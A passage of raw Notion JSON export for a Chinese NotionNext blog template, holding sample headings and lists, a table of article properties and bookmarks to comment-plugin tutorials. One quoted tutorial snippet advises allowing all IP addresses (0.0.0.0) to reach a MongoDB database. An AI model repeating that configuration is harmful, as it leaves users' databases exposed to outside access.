649c4298727","84010516-7c17-45fd-857c-cb76847b00c3"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"eef90ab9-1637-4c64-bb9d-55930dffc9a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"eef90ab9-1637-4c64-bb9d-55930dffc9a0"}},"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e":{"value":{"id":"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","type":"sub_header","properties":{"title":[["二级目录1"]]},"format":{"copied_from_pointer":{"id":"76620351-2ca1-41b9-bb99-7fec05c79547","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"76620351-2ca1-41b9-bb99-7fec05c79547"}},"22f6632d-d065-4f58-980a-4649c4298727":{"value":{"id":"22f6632d-d065-4f58-980a-4649c4298727","type":"sub_header","properties":{"title":[["二级目录2"]]},"format":{"copied_from_pointer":{"id":"5f4af335-b79a-47ab-b0a7-ff15268af561","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"5f4af335-b79a-47ab-b0a7-ff15268af561"}},"c011c17a-60a6-42d8-acb3-af36dfdadb20":{"value":{"id":"c011c17a-60a6-42d8-acb3-af36dfdadb20","type":"text","properties":{"title":[["二级内容 1"]]},"format":{"copied_from_pointer":{"id":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e"}},"84010516-7c17-45fd-857c-cb76847b00c3":{"value":{"id":"84010516-7c17-45fd-857c-cb76847b00c3","type":"text","properties":{"title":[["二级内容2"]]},"format":{"copied_from_pointer":{"id":"612c658b-88d9-45bf-ad3e-c05c30b05045","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"612c658b-88d9-45bf-ad3e-c05c30b05045"}},"3ccfd881-f68a-446b-b9e3-ad394ab9d36f":{"value":{"id":"3ccfd881-f68a-446b-b9e3-ad394ab9d36f","type":"sub_header","properties":{"title":[["二级目录3"]]},"format":{"copied_from_pointer":{"id":"19383acf-0337-4fa1-82d3-b6785c6af8b7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19383acf-0337-4fa1-82d3-b6785c6af8b7"}},"522cceae-719e-47fe-880a-29732a5e4ca5":{"value":{"id":"522cceae-719e-47fe-880a-29732a5e4ca5","type":"column_list","content":["24a21de2-667a-43cd-930a-33507a87774b","d1f54f28-cf6e-4ce0-bbf2-69726a858083"],"format":{"copied_from_pointer":{"id":"140ac967-244b-435d-87ae-fcd881bba04f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"140ac967-244b-435d-87ae-fcd881bba04f"}},"24a21de2-667a-43cd-930a-33507a87774b":{"value":{"id":"24a21de2-667a-43cd-930a-33507a87774b","type":"column","content":["360a1985-e525-4b4c-b2a5-4bf8a562ddaa","1399dc70-c071-48a7-8eaa-e90e24fd1d82"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"13dd7205-04d9-419e-89cc-68ea0105327b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"13dd7205-04d9-419e-89cc-68ea0105327b"}},"d1f54f28-cf6e-4ce0-bbf2-69726a858083":{"value":{"id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","type":"column","content":["3bb570e1-4846-4ef2-87a6-937dbe4cad6c","666dd094-fafb-4f8a-bb0a-057bb2cbf618"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"72aaf179-5b36-4571-9a8d-1aeff2588a75","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"72aaf179-5b36-4571-9a8d-1aeff2588a75"}},"360a1985-e525-4b4c-b2a5-4bf8a562ddaa":{"value":{"id":"360a1985-e525-4b4c-b2a5-4bf8a562ddaa","type":"sub_sub_header","properties":{"title":[["三级目录3.1"]]},"format":{"copied_from_pointer":{"id":"9d91f3d6-d3b7-4601-8bac-d18971ff891f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"9d91f3d6-d3b7-4601-8bac-d18971ff891f"}},"3bb570e1-4846-4ef2-87a6-937dbe4cad6c":{"value":{"id":"3bb570e1-4846-4ef2-87a6-937dbe4cad6c","type":"sub_sub_header","properties":{"title":[["三级目录3.2"]]},"format":{"copied_from_pointer":{"id":"0a68beb3-8941-4de4-957e-4f067eb1c839","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"0a68beb3-8941-4de4-957e-4f067eb1c839"}},"1399dc70-c071-48a7-8eaa-e90e24fd1d82":{"value":{"id":"1399dc70-c071-48a7-8eaa-e90e24fd1d82","type":"text","properties":{"title":[["不同级别的heading代表不同级别的目录"]]},"format":{"copied_from_pointer":{"id":"996a7ca4-f57c-4dc5-95cc-5f515aae299b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"996a7ca4-f57c-4dc5-95cc-5f515aae299b"}},"666dd094-fafb-4f8a-bb0a-057bb2cbf618":{"value":{"id":"666dd094-fafb-4f8a-bb0a-057bb2cbf618","type":"text","properties":{"title":[["高一级目录嵌套低一级目录"]]},"format":{"copied_from_pointer":{"id":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7"}},"150b9807-a36f-45eb-9892-d9f6a0f1db56":{"value":{"id":"150b9807-a36f-45eb-9892-d9f6a0f1db56","type":"sub_header","properties":{"title":[["多级列表"]]},"format":{"copied_from_pointer":{"id":"67c0f7b6-58f8-4462-85e3-e7aef4174ece","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"67c0f7b6-58f8-4462-85e3-e7aef4174ece"}},"42ab1b80-3546-4a53-a9ca-bb98d854e4c3":{"value":{"id":"42ab1b80-3546-4a53-a9ca-bb98d854e4c3","type":"bulleted_list","properties":{"title":[["事物的必然性"]]},"format":{"copied_from_pointer":{"id":"d23a5aa6-7935-4587-90c5-44ed9381c19a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d23a5aa6-7935-4587-90c5-44ed9381c19a"}},"fd0213c3-3749-4192-9153-a4ed99862478":{"value":{"id":"fd0213c3-3749-4192-9153-a4ed99862478","type":"numbered_list","properties":{"title":[["事物按规律变化,也有一种不可避免的性质.这种性质就叫做"],["必然性",[["b"]]]]},"content":["0088bfb9-cb4d-4598-ae75-0e3730f9396d","ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8"],"format":{"copied_from_pointer":{"id":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475"}},"0088bfb9-cb4d-4598-ae75-0e3730f9396d":{"value":{"id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","type":"numbered_list","properties":{"title":[["事物的必然性,是事物本身的性质(我们反对宿命论的是其认为这一切是受神明的支配,而不是反对事物发展中存在的不可避免的性质的事实)"]]},"content":["59e81d6f-cd4d-41ef-b5eb-34c35a923f75","041c0475-c611-48d7-81b0-d2f014771748"],"format":{"copied_from_pointer":{"id":"5482440b-ad3a-4e2c-911d-226cebed353c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"5482440b-ad3a-4e2c-911d-226cebed353c"}},"59e81d6f-cd4d-41ef-b5eb-34c35a923f75":{"value":{"id":"59e81d6f-cd4d-41ef-b5eb-34c35a923f75","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"e268c632-795a-4e9f-93cc-553cdebbffb8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"e268c632-795a-4e9f-93cc-553cdebbffb8"}},"041c0475-c611-48d7-81b0-d2f014771748":{"value":{"id":"041c0475-c611-48d7-81b0-d2f014771748","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"211f8283-13c5-415f-92f5-f96db1ff8bf6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"211f8283-13c5-415f-92f5-f96db1ff8bf6"}},"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8":{"value":{"id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","type":"numbered_list","properties":{"title":[["其决定于它自己本身发展的情况和周围的条件"]]},"content":["e7d4f134-5b60-4e18-8deb-d9b4d09e5463"],"format":{"copied_from_pointer":{"id":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4"}},"e7d4f134-5b60-4e18-8deb-d9b4d09e5463":{"value":{"id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"content":["7c40fcc2-6bd0-4bd5-b352-221b86d56e65"],"format":{"copied_from_pointer":{"id":"be780eee-e70c-45d5-a5ad-36bf9a3434a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","parent_table":"block","alive":true,"copied_from":"be780eee-e70c-45d5-a5ad-36bf9a3434a0"}},"7c40fcc2-6bd0-4bd5-b352-221b86d56e65":{"value":{"id":"7c40fcc2-6bd0-4bd5-b352-221b86d56e65","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"46382638-5d6f-4be9-b7b3-ea077022a53e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","parent_table":"block","alive":true,"copied_from":"46382638-5d6f-4be9-b7b3-ea077022a53e"}},"0186f962-3e26-4d4c-94ac-91763ada0633":{"value":{"id":"0186f962-3e26-4d4c-94ac-91763ada0633","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"f39623e6-3751-4a0d-9ce9-f2eb40146491","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f39623e6-3751-4a0d-9ce9-f2eb40146491"}},"7d0286ac-a9d7-4830-af71-ef7b45c2f171":{"value":{"id":"7d0286ac-a9d7-4830-af71-ef7b45c2f171","type":"text","properties":{"title":[["若要部署你的NotionNext项目,请复制该模板,并按照模板格式创建文章:"]]},"format":{"copied_from_pointer":{"id":"e9273669-ed36-451d-a3f9-787837fb8386","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e9273669-ed36-451d-a3f9-787837fb8386"}},"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b":{"value":{"id":"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","type":"bookmark","properties":{"link":[["https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d"]],"title":[["NOTION BLOG"]],"description":[["演示站点描述"]]},"format":{"bookmark_cover":"https://tanghh.notion.site/image/https%3A%2F%2Fp1.qhimg.com%2Fbdm%2F1600_900_100%2Ft01e66d486b8e826270.jpg?table=collection&id=4379bc14-5d22-453b-a153-12639616fc01&spaceId=6c096b44-beb9-48ee-8f92-1efdde47f3a3&width=2000&userId=&cache=v2","copied_from_pointer":{"id":"19936e6c-1a77-4685-b1b0-932bc8b7d40b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19936e6c-1a77-4685-b1b0-932bc8b7d40b"}},"c994ab66-5436-4200-bc41-90a32ae0ee7e":{"value":{"id":"c994ab66-5436-4200-bc41-90a32ae0ee7e","type":"text","properties":{"title":[["Notion页面中,每篇文章都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"548780a2-7746-435c-8799-628311eb197b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"548780a2-7746-435c-8799-628311eb197b"}},"e0c369fb-2c38-4e2d-b639-361bca715727":{"value":{"id":"e0c369fb-2c38-4e2d-b639-361bca715727","type":"table","content":["05186514-3dc8-4849-9475-59b850a6b0cc","07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","f06bb257-3f4a-4403-bb69-7b1d74d06904","03ede0f3-7648-4ea1-bf04-813153286b95","a2fa28f1-bc0d-4652-b178-7930b36dd23f","0c387878-efc6-4b90-8864-a761e254afa5","64862808-6468-41fc-99b2-70dff39315e7","4d6f361a-43ee-4036-84c0-528b8db99127","3a7fc9cc-3076-4fb0-ad05-c85def990def","422651c6-3a69-448d-88de-41bac662105d","12373e99-0812-4e9d-9d7b-a5e57bbab2ad"],"format":{"copied_from_pointer":{"id":"605a007d-fc0f-4aba-9d83-d6646f75e29c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705638991036,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"605a007d-fc0f-4aba-9d83-d6646f75e29c"}},"05186514-3dc8-4849-9475-59b850a6b0cc":{"value":{"id":"05186514-3dc8-4849-9475-59b850a6b0cc","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c"}},"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7":{"value":{"id":"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"b6161c75-f30b-4f12-9184-2facf8050e3f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b6161c75-f30b-4f12-9184-2facf8050e3f"}},"f06bb257-3f4a-4403-bb69-7b1d74d06904":{"value":{"id":"f06bb257-3f4a-4403-bb69-7b1d74d06904","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867"}},"03ede0f3-7648-4ea1-bf04-813153286b95":{"value":{"id":"03ede0f3-7648-4ea1-bf04-813153286b95","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"4a616b4b-9351-4c57-9f18-7236093fef68","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"4a616b4b-9351-4c57-9f18-7236093fef68"}},"a2fa28f1-bc0d-4652-b178-7930b36dd23f":{"value":{"id":"a2fa28f1-bc0d-4652-b178-7930b36dd23f","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"b7eed8de-c073-4960-81ef-b75b014ab5bd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b7eed8de-c073-4960-81ef-b75b014ab5bd"}},"0c387878-efc6-4b90-8864-a761e254afa5":{"value":{"id":"0c387878-efc6-4b90-8864-a761e254afa5","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"20ae1a6e-7d0c-456b-a510-c03cb00454dc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20ae1a6e-7d0c-456b-a510-c03cb00454dc"}},"64862808-6468-41fc-99b2-70dff39315e7":{"value":{"id":"64862808-6468-41fc-99b2-70dff39315e7","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"44854eb0-485e-48cc-81b6-5b80488d3b7d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"44854eb0-485e-48cc-81b6-5b80488d3b7d"}},"4d6f361a-43ee-4036-84c0-528b8db99127":{"value":{"id":"4d6f361a-43ee-4036-84c0-528b8db99127","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f"}},"3a7fc9cc-3076-4fb0-ad05-c85def990def":{"value":{"id":"3a7fc9cc-3076-4fb0-ad05-c85def990def","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"66668f66-e0a7-49d4-af0e-2e1277dff157","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"66668f66-e0a7-49d4-af0e-2e1277dff157"}},"422651c6-3a69-448d-88de-41bac662105d":{"value":{"id":"422651c6-3a69-448d-88de-41bac662105d","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"3f432717-e38f-4cf2-b648-8a82826e6d46","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"3f432717-e38f-4cf2-b648-8a82826e6d46"}},"12373e99-0812-4e9d-9d7b-a5e57bbab2ad":{"value":{"id":"12373e99-0812-4e9d-9d7b-a5e57bbab2ad","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"224b5680-aeff-427d-af00-27a29a0684f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"224b5680-aeff-427d-af00-27a29a0684f6"}},"b2eef454-ef1f-4137-a256-ed8d7f28ca5d":{"value":{"id":"b2eef454-ef1f-4137-a256-ed8d7f28ca5d","type":"header","properties":{"title":[["评论插件"]]},"format":{"copied_from_pointer":{"id":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3"}},"75a4c9a0-0331-416b-86ac-184c365390a9":{"value":{"id":"75a4c9a0-0331-416b-86ac-184c365390a9","type":"text","properties":{"title":[["系统支持 Waline\\Giscus\\Valine\\GitTalk\\Utterance\\Cusdis\\Twikoo六种评论插件,并且可以同时开启,点击评论区的Tab来体验。"]]},"format":{"copied_from_pointer":{"id":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea"}},"f7f5b64a-3ff6-47b3-947d-80f9e1704081":{"value":{"id":"f7f5b64a-3ff6-47b3-947d-80f9e1704081","type":"text","properties":{"title":[["按照以下教程可以开启响应的评论插件"]]},"format":{"copied_from_pointer":{"id":"f729e406-9158-4baa-9043-148399a69893","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f729e406-9158-4baa-9043-148399a69893"}},"db08546f-0540-456c-9244-e258c16452c3":{"value":{"id":"db08546f-0540-456c-9244-e258c16452c3","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-twikoo"]],"title":[["NotionNext配置评论插件Twikoo | TANGLY's BLOG"]],"description":[["一个简洁、安全、免费的静态网站评论系统,基于 腾讯云开发 。 经评论区网友推荐,我开始使用 Twikoo,一番体验,发现Twikoo真的很强大,目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件,非常强大 在最新版本中 NotionNext已经 支持该评论插件,配置 方法很简单: 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例: 借助vercel,您可以非常快速地部署自己的twikoo后台,用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的,我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址,推荐设置0.0.0.0,即所有地址都允许访问,毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可,其值为上一步获得的MongoDB连接地址,注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后,您将获得一个vercel的twikoo后台页面,您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台,并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助,并且查看Twikoo的更多特性。 NotionNext支持多种评论插件,可访问以下文章获得帮助:"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?ixlib=rb-4.0.3&q=80&fm=jpg&crop=entropy&cs=tinysrgb","copied_from_pointer":{"id":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b"}},"c06aaa31-3788-4ed1-b964-ad1ff77fe151":{"value":{"id":"c06aaa31-3788-4ed1-b964-ad1ff77fe151","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notion-next-comment-plugin"]],"title":[["NotionNext如何添加评论插件 | TANGLY's BLOG"]],"description":[["NotionNext支持多种评论插件,其中体验比较好的我个人觉得是Twikoo,您可以参考以下教程进行配置安装: 您也可以选择Valine/Waline,关于Valine/Waline的部署可以访问此篇文章: Utterance 、 Giscus 、Gitalk 